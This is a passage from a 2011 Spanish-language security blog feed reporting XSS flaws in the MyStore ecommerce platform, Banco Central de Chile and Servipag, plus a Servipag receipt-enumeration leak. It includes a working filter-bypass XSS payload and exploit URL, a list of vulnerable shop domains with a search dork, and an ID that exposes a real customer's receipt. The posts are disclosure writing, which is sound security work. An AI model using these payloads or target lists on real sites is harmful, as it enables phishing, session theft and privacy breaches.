<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_estados.png"><img class="aligncenter size-full wp-image-2795" title="grafico_estados" src="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_estados.png" alt="" width="547" height="311" /></a></p>
<p>La diferencia que existe entre las <strong>Reportadas</strong> y las <strong>Sin Reportar</strong>, principalmente se da porque los sitios web no publican un correo o alguna forma de contacto para poder reportar este tipo de fallas, por lo general se limitan a poner un formulario de &#8220;consultas&#8221; y muchas veces en bancos, universidades o sitios del gobierno, hay que completar un formulario con cientos de campos obligatorios.</p>
<p>Los sitios web que realmente <strong>deberian</strong> tener este tipo de procedimiento como los bancos, Universidades o sitios del gobierno que manejen información sensible de personas, no lo hacen. Muchas veces debemos enviar el reporte a correos genericos y/o aleatorios como contacto@dominio, info@dominio o webmaster@dominio, sin tener respuesta.<br />
La relación que existe entre las Reportadas y las Solucionadas, nos demuestra que de alguna forma estamos apuntando para el lado correcto, ya que el 90% de las vulnerabilidades reportadas se solucionan.</p>
<p>De los tipos de vulnerabilidades, hay dos categorías que pelean el puesto para ser los que más sitios registran, el SQL Injection y al Cross-Site Scripting</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_cat.png"><img class="aligncenter size-full wp-image-2800" title="grafico_cat" src="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_cat.png" alt="" width="550" height="312" /></a>Es curioso, ya que una es <em>client-side</em> (xss) y la otra<em> server-side </em>(sql-i), pero ambas ocurren por una mala sanitización de los parametros de entrada.</p>
<p><span id="more-2777"></span></p>
<p>La que los sigue es Full Path Disclosure, una vulnerabilidad que por si sola no es muy critica y que muchas veces se le da la responsabilidad al encargado del servidor, que no deshabilita los errores o el debug, aunque segun yo, el programador debería ser capaz de manejar los errores y validar los parametros de entrada para evitar el <em>crash</em> de la aplicación y asi evitar cualquier tipo de error sin atajar. El tipico ejemplo, cuando modificamos los parametros por GET y transformamos una variable en un Array.</p>
<p>Si analizamos la cantidad de sitios por tipo de organización, nos encontramos con el siguiente gráfico:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_entidades.png"><img class="aligncenter size-full wp-image-2803" title="grafico_entidades" src="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_entidades.png" alt="" width="544" height="320" /></a></p>
<p>Las universidades son de las entidades (segun nuestro criterio) que más vulnerabilidades tienen, ya que muchas de ellas les abren espacios a sus <span style="text-decoration: line-through;">clientes</span> alumnos, por lo general un servidor compartido entre usuarios y en algunos casos extremos, un servidor compartido con aplicaciones de la universidad (intranets, etc).<br />
Luego viene los del gobierno, que mientras más sitios y sistemas ofrecen, menos control tienen sobre las aplicaciones y sobre los datos que manejan. Es muy comun en sistemas y sitios del gobierno encontrar tecnologias antiguas y en muchos casos, obsoletas.<br />
Con eCommerce, me refiero a sitios que ofrecen &#8220;comercio por internet&#8221;, como PC Factory, Falabella, Ripley, etc.<br />
Finalmente tenemos a los queridos Bancos, que sinceramente ellos ni si quiera deberian aparecer en este listado.</p>
<p>El último gráfico, corresponde a sitios segun su pais o dominio</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_dominio.png"><img class="aligncenter size-full wp-image-2807" title="grafico_dominio" src="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_dominio.png" alt="" width="556" height="325" /></a></p>
<p>No significa que Chile sea mas vulnerable que los otros, simplemente que en un principio nos dedicamos unicamente a almacenar sitios chilenos, pero poco a poco fuimos aceptando colaboraciones de otros paises y otros dominios.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fsecureless-estadisticas-de-sitios-web-vulnerables%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/secureless-estadisticas-de-sitios-web-vulnerables/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/secureless-estadisticas-de-sitios-web-vulnerables/"  data-text="Secureless: Estadisticas de sitios web vulnerables" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/secureless-estadisticas-de-sitios-web-vulnerables/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>MyStore vulnerable a Cross-Site Scripting: Miles de sitios afectados</title>
		<link>http://blog.zerial.org/seguridad/mystore-vulnerable-a-cross-site-scripting-miles-de-sitios-afectados/</link>
		<comments>http://blog.zerial.org/seguridad/mystore-vulnerable-a-cross-site-scripting-miles-de-sitios-afectados/#comments</comments>
		<pubDate>Wed, 19 Oct 2011 12:35:56 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2725</guid>
		<description><![CDATA[MyStore es una plataforma de comercio electrónico (eCommerce) escrita en PHP y utilizada por miles de sitios web. La plataforma tiene una vulnerabilidad Cross-Site Scripting en el archivo usado para desplegar errores al usuario, en el módulo de administración y es accesible por cualquier usuario sin previa autentificación, por lo que es posible explotar la [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/mystorelogo.png"><img class="aligncenter size-full wp-image-2727" title="mystorelogo" src="http://blog.zerial.org/wp-content/uploads/2011/10/mystorelogo.png" alt="" width="321" height="203" /></a>MyStore es una plataforma de comercio electrónico (eCommerce) escrita en PHP y utilizada por miles de sitios web. La plataforma tiene una vulnerabilidad Cross-Site Scripting en el archivo usado para desplegar errores al usuario, en el módulo de administración y es accesible por cualquier usuario sin previa autentificación, por lo que es posible explotar la vulnerabilidad y preparar un ataque hacia los clientes de los sitios web que implementan el sistema.</p>
<p>Según Google, son un poco más de mil sitios los que utilizan esta plataforma y que serían vulnerables a este tipo de ataques.</p>
<p>Al tratarse de un eCommerce, esta vulnerabilidad es aún más peligrosa ya que el atacante podría explotarla para obtener información de los usuarios como números de tarjetas de crédito, correos, usuarios y contraseñas, todo esto mediante <strong>phishing</strong>, usando el dominio del sitio en el que el usuario confía. Tambien se pueden elaborar ataques mas sofisticados para robar las sesiones a los usuarios que previamente hayan iniciado sesión.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/xss_mystore.png"><img class="aligncenter size-full wp-image-2731" title="xss_mystore" src="http://blog.zerial.org/wp-content/uploads/2011/10/xss_mystore.png" alt="" width="444" height="379" /></a></p>
<p><span id="more-2725"></span></p>
<p>La vulnearbilidad se encuentra en el archivo &#8220;<em>error.php</em>&#8221; y se produce al no filtrar los parametros de entrada mediante las variables &#8220;<em>p</em>&#8221; y &#8220;<em>s</em>&#8220;. El script simplemente imprime el valor de las variables, sin filtrarlas ni escapar caracteres, permitiendo XSS.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/xss_mystore2.png"><img class="aligncenter size-full wp-image-2732" title="xss_mystore2" src="http://blog.zerial.org/wp-content/uploads/2011/10/xss_mystore2.png" alt="" width="678" height="25" /></a></p>
<p>Una lista de algunos sitios afectados:</p>
<blockquote><p>abysinvitationsprintshop.com<br />
accesorioselauto.com<br />
adobetecnoterra.com<br />
adrenalinamotor.mx<br />
akarienlinea.com<br />
aldebaranuno.com<br />
aleissi.mx<br />
anabolicstorexpress.com<br />
ankah2o.com<br />
antibalastucomprasegura.com<br />
aquatica-online.com<br />
armarecuerdoseinvitaciones.com<br />
armyatvstore.com<br />
babybodega.mx<br />
bazar12.com<br />
beerandfashionmexico.com<br />
bellezanutritiva.com.mx<br />
bichitour.com<br />
bienesraicespremium.com<br />
bigjockey.com<br />
billyoplazapiel.com<br />
blancoscorona.com<br />
bricks-store.com<br />
cajasybolsas.com<br />
caramolli.com<br />
cavaboutique.com<br />
ceciliamartinezgarza.com<br />
centralnt.com<br />
colofoninfantil.com<br />
comercialdeestanteria.com.mx<br />
comerciantes.mx<br />
compraconplazo.com<br />
compupagos.com.mx<br />
compuventa-online.com<br />
contitech-solutions.com<br />
cosasdeingenieria.com<br />
decocuadros.com.mx<br />
dekocuadros.com<br />
deyacut.com<br />
digielectronik.com<br />
distribuidorazaqueo.com<br />
diveencounters.mx<br />
doshik.com<br />
e-tronic-shop.com<br />
edicionesuromex.com<br />
elgloborojotienda.com<br />
ellamodas.com<br />
elmundodelasfajas.com<br />
enac-audio.com<br />
enelbazarxalapa.com<br />
entradaxsalida.com<br />
enviamiregalo.com<br />
eplaza.com.mx<br />
fantasias-daniel.com<br />
farmaciadelnino.com<br />
fashion1services.com<br />
fastlapstore.com<br />
fermentando.com.mx<br />
florerialorena.com<br />
forjasdesign.com<br />
fraganciamania.com.mx<br />
fvi.mx<br />
gadgetmex.com<br />
galeriagalamania.com<br />
globaris-shop.com<br />
grupocomputacionaldeco.com<br />
grupoelrey.com<br />
gscomputadoras.com<br />
hogarynegocio.com<br />
hypnosefashionstore.com<br />
imperiusarts.com<br />
importacionesecm.com<br />
indumaqsa.com<br />
infoxweb.com<br />
inhaus.mx<br />
irrealcandybar.com<br />
its-acapulco.com<br />
javoil.com<br />
joyeriasagara.com<br />
julianna-jewelry.com<br />
kingmonstermty.com<br />
kiutstore.com<br />
konexionmusical.com<br />
lacombasoccer.com<br />
ladecimaletragdl.com<br />
lapsrepairs.com<br />
lasmatadoras.com<br />
libros.com.mx<br />
liderpowertools.com<br />
lizfloreria.com<br />
lunerougeboutique.com<br />
maimaitienda.com<br />
mandycreaciones.com<br />
manikin-online.com<br />
maniquiesonline.com<br />
maquinariaexpress.com<br />
megapixelcomputadoras.com<br />
mercaditoparati.com<br />
mexi-cali.net<br />
modayregalos.com<br />
mothernity.com.mx<br />
mtystore.com<br />
muebleriamaya.com<br />
mundoescolar11.com<br />
mydogpharma.com<br />
naturatoshop.com<br />
naturenmexico.com<br />
nochederio.com<br />
onlineplayeras.com<br />
ouletgnc.com<br />
pa-xi.com<br />
paraleer.com<br />
pasatiempo-juguetes.com<br />
petnc.com<br />
pinnacleventa.com<br />
plazamesonesvirtual.com<br />
pro-limp.com<br />
prodoorventas.com<br />
psmodelismo.com<br />
r3silencia.com<br />
raqmar.com.mx<br />
rcomunicaciones.com<br />
recuerdosybolos.com<br />
reducingbodysiluet.com<br />
regala123.com<br />
regala123.com.mx<br />
regalosconvida.com<br />
reguladoresypcs.com<br />
safetystoremexico.com<br />
seducelo.com<br />
seducelo.com.mx<br />
setfi.us.com<br />
sexylencerias.com<br />
shop4evermx.com<br />
siaproductos.com<br />
sistemascompac.com<br />
sitesirve.com<br />
smart-atic.com<br />
solarislabs.com<br />
solodebateria.com<br />
spixalapa.com<br />
sportjordan.com<br />
store-htpro.com<br />
sunlounge.com.mx<br />
taipacificoimportaciones.com<br />
techosmas.com<br />
tecnologiailimitada.com<br />
tenisclubcolombia.com<br />
thecellulardepot.com<br />
theredzone.com.mx<br />
tienda128.mystorexpress.com<br />
tienda573.mystorexpress.com<br />
tiendabolsasbichat.com<br />
tiendadicer.com<br />
tiendaenriko.com<br />
tiendaofficeadm.com<br />
tiendapetmark.com<br />
tiendatn.com<br />
tinkert.com<br />
todocompu.com<br />
transfermania.com.mx<br />
treneshodemexico.com<br />
treneshodetexas.com<br />
trovarti.com<br />
tucalentadordepaso.com.mx<br />
tumejorcompra.net<br />
tumueblebarato.com<br />
tumundodeportivo.com<br />
vinilium.com<br />
winemexsa.com</p></blockquote>
<p>Para buscar la lista completa de los sitios afectados, puedes realizar la siguiente busqueda en Google:</p>
<p><a href="http://www.google.com/search?q=inurl%3Amystore+inurl%3Aerror.php+filetype%3Aphp"><strong>inurl:mystore inurl:error.php filetype:php</strong></a></p>
<p>Tambien <a href="http://secureless.org/search/?keywords=mystore%2Ferror.php&#038;sid=0">se reportaron algunas vía secureless</a>.</p>
<p>La empresa que está detras de este sistema ya ha sido notificada.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fmystore-vulnerable-a-cross-site-scripting-miles-de-sitios-afectados%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/mystore-vulnerable-a-cross-site-scripting-miles-de-sitios-afectados/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/mystore-vulnerable-a-cross-site-scripting-miles-de-sitios-afectados/"  data-text="MyStore vulnerable a Cross-Site Scripting: Miles de sitios afectados" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/mystore-vulnerable-a-cross-site-scripting-miles-de-sitios-afectados/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Banco Central de Chile vulnerable a XSS</title>
		<link>http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/</link>
		<comments>http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/#comments</comments>
		<pubDate>Mon, 17 Oct 2011 14:43:57 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[banco central]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2738</guid>
		<description><![CDATA[El sitio web del Banco Central de Chile es vulnerable a ataques Cross-Site Scripting y, posiblemente, un SQL Injection. Son muchos los sitios de bancos que son vulnerables a este tipo de ataques, pero muy pocos quienes solucionan los errores luego de reportarlos, es por eso que se toma la decisión de hacer un disclosure [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/logo_bcch.gif"><img class="aligncenter size-full wp-image-2740" title="logo_bcch" src="http://blog.zerial.org/wp-content/uploads/2011/10/logo_bcch.gif" alt="" width="139" height="139" /></a></p>
<p>El sitio web del Banco Central de Chile es vulnerable a ataques Cross-Site Scripting y, posiblemente, un SQL Injection. Son muchos los sitios de bancos que son vulnerables a este tipo de ataques, pero muy pocos quienes solucionan los errores luego de reportarlos, es por eso que se toma la decisión de hacer un <strong>disclosure</strong> sobre las vulnerabilidades para denunciar este tipo de hechos.</p>
<p>El sitio web del Banco Central pareciera no tener ningun tipo de validación de los parametros de entrada que se pasan mediante formularios o mediante URL, exponiendo a los usuarios  y al servidor a distintos tipos de ataques.<br />
El XSS que encontré, está en el archvo <strong>rim/default.asp</strong> en el subdominio <strong>si2.bcentral.cl</strong>.</p>
<p>Como prueba de concepto, incrustaré un &#8216;iframe&#8217; con el sitio web de Google dentro del sitio del Banco Central</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/bcentral_xss1.png"><img class="aligncenter size-full wp-image-2743" title="bcentral_xss1" src="http://blog.zerial.org/wp-content/uploads/2011/10/bcentral_xss1.png" alt="" width="583" height="593" /></a></p>
<p>Perfectamente, el atacante podría incrustar un sitio malicioso con la intención de robar la identidad del banco y aprovecharse de la confianza que el usuario tiene sobre el sitio web, incluso usando el sitio &#8220;<strong>seguro</strong>&#8220;.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/bcentral_xss2.png"><img class="aligncenter size-full wp-image-2744" title="bcentral_xss2" src="http://blog.zerial.org/wp-content/uploads/2011/10/bcentral_xss2.png" alt="" width="241" height="27" /></a>Tambien el atacante podria, mediante esta vulnerabilidad, modificar el formulario de inicio de sesión que aparece en la imagen, para robar los datos de los usuarios y enviar la información a terceros.</p>
<p><span id="more-2738"></span></p>
<p>La vulnerabilidad SQL Injection se presentaba en los formularios que estaban en la sección &#8220;Base de datos economicos&#8221;, que al parecer ya ha sido corregido.</p>
<p>Hace 7 días aproximadamente reporté la vulnerabilidad y como es de costumbre no otbuve ninguna respuesta, pero misteriosamente estan trabajando en estos momentos en corregir el sql injection.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fbanco-central-de-chile-vulnerable-a-xss%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/"  data-text="Banco Central de Chile vulnerable a XSS" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Servipag: Nuevamente vulnerable a Cross-Site Scripting</title>
		<link>http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/</link>
		<comments>http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/#comments</comments>
		<pubDate>Mon, 12 Sep 2011 13:01:32 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[servipag]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2653</guid>
		<description><![CDATA[Así es, el portal chileno de pagos en línea más seguro nuevamente es vulnerable a XSS. Esta vez se trata de la página de registro de usuarios, modificando el valor de la variable &#8220;Rut&#8221; es posible inyectar código javascript y poner en riesgo al usuario. El sitio web de Servipag se ha caracterizado ultimamente por [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssept.png"><img class="aligncenter size-full wp-image-2657" title="servipag_xsssept" src="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssept.png" alt="" width="482" height="393" /></a></p>
<p>Así es, el <strong>portal chileno de pagos en línea más seguro</strong> nuevamente es vulnerable a XSS. Esta vez se trata de la página de registro de usuarios, modificando el valor de la variable &#8220;Rut&#8221; es posible inyectar código javascript y poner en riesgo al usuario.</p>
<p>El sitio web de Servipag se ha caracterizado ultimamente por tener una serie de vulnerabilidades criticas que afectan al servidor donde se encuentra el sitio web y tambien a los usuarios, poniendo en riesgo información sensible sobre sus clientes. Según una declaración de Servipag mediante su twitter, los &#8220;XSS visual&#8221; no afectan al usuario:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/xss_visual.png"><img class="aligncenter size-full wp-image-2654" title="xss_visual" src="http://blog.zerial.org/wp-content/uploads/2011/09/xss_visual.png" alt="" width="515" height="339" /></a></p>
<p>Como a ellos no les preocupan los XSS, publicaré con detalles la vulnerabilidad.</p>
<p><span id="more-2653"></span></p>
<p>La vulnerabilidad se encuentra especificamente en la URL <strong>http://www.servipag.com/browse.asp?pagina=web/registro1.htm</strong>. El sitio autocompleta el campo &#8220;rut&#8221; según el valor pasado por GET mediante la variable &#8220;Rut&#8221;, por ejemplo, si ingresamos a <strong>http://www.servipag.com/browse.asp?pagina=web/registro1.htm&amp;Rut=1313&amp;BuscaDatos=2</strong> veremos que nos completa el rut de la siguiente forma</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_1313.png"><img class="aligncenter size-full wp-image-2656" title="servipag_1313" src="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_1313.png" alt="" width="254" height="83" /></a></p>
<p>Y si vemos el código fuente, nos muestra:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssrc.png"><img class="aligncenter size-full wp-image-2659" title="servipag_xsssrc" src="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssrc.png" alt="" width="260" height="99" /></a>Por lo tanto, si en lugar de &#8220;Rut=1313&#8243; pusieramos una rutina javascript, debería ejecutarse al momento de llamar a la función &#8220;Reset()&#8221;, sin embargo, el desarrollador de servipag puso un <span style="text-decoration: line-through;">estúpido</span> inutil filtro que es <strong>demasiado</strong> fácil saltarse. Lo que haremos es terminar la función y hacer que se ejecute el código que nosotros queramos al momento de cargar la página, para esto añadimos &#8216;; al principio del valor que le daremos a Rut y comentaremos todo lo que venga despues de nuestra inyección, para lograr que se ejecute sin errores el javascript.</p>
<p>La sintáxis que usaremos para explotar la vulnerabilidad será <strong>1212&#8242;;}/**/window.stop();confirm(/Servipag_XSS_10_de_Septiembre_19:24?/);/*</strong> la cual nos generará un código fuente similar a:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssrc2.png"><img class="aligncenter size-full wp-image-2660" title="servipag_xsssrc2" src="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssrc2.png" alt="" width="654" height="89" /></a></p>
<p>Provocando el XSS que estabamos buscando. De esta forma es posible burlar los filtros puestos por los desarrolladores del portal de pagos más seguro (ironía), pudiendo redireccionar al usuario a un sitio malicioso, robar las cookies, etc.</p>
<p>Finalmente, la URL vulnerable es <a href="http://www.servipag.com/browse.asp?pagina=web/registro1.htm&amp;Rut=1212';}/**/window.stop();confirm(/Servipag_XSS?/);/*='&amp;BuscaDatos=2" target="_blank"><strong>http://www.servipag.com/browse.asp?pagina=web/registro1.htm&amp;Rut=1212&#8242;;}/**/window.stop();confirm(/Servipag_XSS?/);/*=&#8217;&amp;BuscaDatos=2</strong></a>.</p>
<p><strong>ACTUALIZADO (12 DE SEPT 14:08hrs)</strong></p>
<p>Como es de costumbre con esta gente de Servipag, el problema ha sido solucionado minutos luego de haberlo publicado, sin embargo, no son capaces de responder los correos donde se envian reportes de estas vulnerabilidades.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fservipag-nuevamente-vulnerable-a-cross-site-scripting%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/"  data-text="Servipag: Nuevamente vulnerable a Cross-Site Scripting" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Servipag: Continua siendo un portal de pagos inseguro</title>
		<link>http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/</link>
		<comments>http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/#comments</comments>
		<pubDate>Sat, 27 Aug 2011 19:46:19 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[data leak]]></category>
		<category><![CDATA[information leak]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[servipag]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2637</guid>
		<description><![CDATA[Pasa el tiempo y, luego de haber reportado las vulnerabilidades que afectaban a Servipag, siguen apareciendo nuevas vulnerabilidades que afectan al portal de pagos. Esta vez se trata de 2 nuevas vulnerabilidades, una reportada en Secureless, que atenta contra la privacidad de los usuarios, permitiendo que cualquier persona pueda acceder a los comprobantes de pago [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/servipwned.png"><img class="aligncenter size-full wp-image-2520" title="servipwned" src="http://blog.zerial.org/wp-content/uploads/2011/07/servipwned.png" alt="" width="271" height="90" /></a></p>
<p>Pasa el tiempo y, luego de haber reportado <a href="http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/">las vulnerabilidades que afectaban a Servipag</a>, siguen apareciendo nuevas vulnerabilidades que afectan al portal de pagos. Esta vez se trata de 2 nuevas vulnerabilidades, una <a href="http://www.secureless.org/vulnerability/2012/">reportada en Secureless</a>, que atenta contra la privacidad de los usuarios, permitiendo que cualquier persona pueda acceder a los comprobantes de pago de cada cliente, simplemente moficiando una variable en la URL, la segunda se trata de un XSS en el mismo sitio del comprobante de pago.</p>
<p>Servipag continua diciendo que sus politicas y tecnologías de seguridad son en base a altos estandares nacionales e internacionales y segun ellos, las vulnerabilidades que existen no ponen en riesgo la informacion de los usuarios, ya que todo el proceso de compra/pago y transaccion no se hacen directamente en los servidores de ellos &#8230; PERO, sorpresa, ellos guardan un comprobante de pago de forma local, pudiendo acceder a TODOS los comprobantes de pagos de quienes usen el servicio, sean o no usuarios registrados.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/srvpag_comprob1.png"><img class="aligncenter size-full wp-image-2638" title="srvpag_comprob1" src="http://blog.zerial.org/wp-content/uploads/2011/08/srvpag_comprob1.png" alt="" width="572" height="373" /></a></p>
<p><strong>Que tipo de información podemos ver aqui?</strong></p>
<p>1. Se refiere al &#8220;cliente&#8221; como &#8220;Usuario&#8221;, lo mas probable que no esté registrado en servipag, de lo contrario mostraría el nombre.<br />
2. El banco mediante el cual se hace el pago.<br />
3. Empresa o servicio que se paga.<br />
4. Monto, fecha y ID del pago realizado.</p>
<p>Con esta información es posible relacionar a personas con un banco especifico y ademas con el consumo de un servicio, en una fecha especifica. Esta información podría ser útil para enviarle una trampa al usuario, un correo fake (phishing) con datos reales como su nombre, banco al que pertenece, servicios que consume, fechas en las que hace el pago &#8230; en fin, una serie de información que nadie tendría que saber.</p>
<p><span id="more-2637"></span></p>
<p>Si jugamos modificando el Id del comprobante de pago, podemos encontrar datos reales, como es el caso del <strong>68012208</strong>:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/srvpag_comprob2.png"><img class="aligncenter size-full wp-image-2641" title="srvpag_comprob2" src="http://blog.zerial.org/wp-content/uploads/2011/08/srvpag_comprob2.png" alt="" width="563" height="347" /></a>Una persona, cuyo  nombre aparece en el comprobante, que tiene cuenta en el banco estado y es cliente de Movistar.</p>
